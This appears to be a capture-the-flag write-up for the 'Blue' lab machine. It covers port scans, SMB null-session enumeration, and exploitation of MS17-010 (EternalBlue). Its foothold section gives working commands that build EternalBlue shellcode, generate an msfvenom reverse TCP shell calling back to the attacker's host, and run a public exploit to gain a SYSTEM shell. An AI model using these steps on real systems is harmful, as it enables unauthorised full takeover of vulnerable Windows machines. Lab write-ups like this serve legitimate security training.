TL;DR
- The system has null sessions on shares
- We then confirm the vulnerabilities with nmap
- We found an exploit on Github
- Running the exploit we get access as system
NETWORK
rustscan -a 10.10.10.40
PORT STATE SERVICE REASON
135/tcp open msrpc syn-ack
139/tcp open netbios-ssn syn-ack
445/tcp open microsoft-ds syn-ack
49152/tcp open unknown syn-ack
49153/tcp open unknown syn-ack
49154/tcp open unknown syn-ack
49155/tcp open unknown syn-ack
49156/tcp open unknown syn-ack
49157/tcp open unknown syn-ack
nmap -sCV -Pn 10.10.10.40 -p135,139,445,49152,49153,49154,49155,49156,49157
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-21 15:37 EDT
Nmap scan report for 10.10.10.40
Host is up (0.031s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2022-03-21T19:38:22
|_ start_date: 2022-03-21T19:21:36
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2022-03-21T19:38:21+00:00
|_clock-skew: mean: 4s, deviation: 2s, median: 3s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.77 seconds
ENUMERATION
Shares
We have found “Null session” as we can see shares without credentials
Checking for what’s in these shares doesn’t provide more information but the fact that we have a null session and the name of the machine being “blue” screams “eternal blue”
Eternal blue?
A more directed scan for vulnerabilities with
nmap -p- -v --min-parallelism 100 -A -script vuln 10.10.10.40
confirms our suspicions, the machine is vulnerable to smb-vuln-ms17-010
What is EternalBlue?
Source: https://www.avast.com/c-eternalblue
EternalBlue is both the given name to a series of Microsoft software vulnerabilities and the exploit created by the NSA as a cyberattack tool. Although the EternalBlue exploit — officially named MS17-010 by Microsoft — affects only Windows operating systems, anything that uses the SMBv1 (Server Message Block version 1) file-sharing protocol is technically at risk of being targeted for ransomware and other cyberattacks.
FOOTHOLD
Finding an exploit
We have a potential exploit https://github.com/worawit/MS17-010
The script covers our machine spec
Let’s clone the project in our machine
We had to install the latest impacket https://github.com/SecureAuthCorp/impacket and nasm sudo apt-get install nasm
Exploit generation
Let’s use nasm to generate a kernel bin
nasm -f bin shellcode/eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin
then we have to generate the reverse shell with msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LPORT=443 LHOST=10.10.16.20 --platform windows -a x64 --format raw -o sc_x64_payload.bin
For the last step we have to merge the kernel and the shell together
cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin
Thanks to all these steps we get 3 new files
then running the following command
python2 eternalblue_exploit7.py 10.10.10.40 sc_x64.bin
we get a reverse shell as system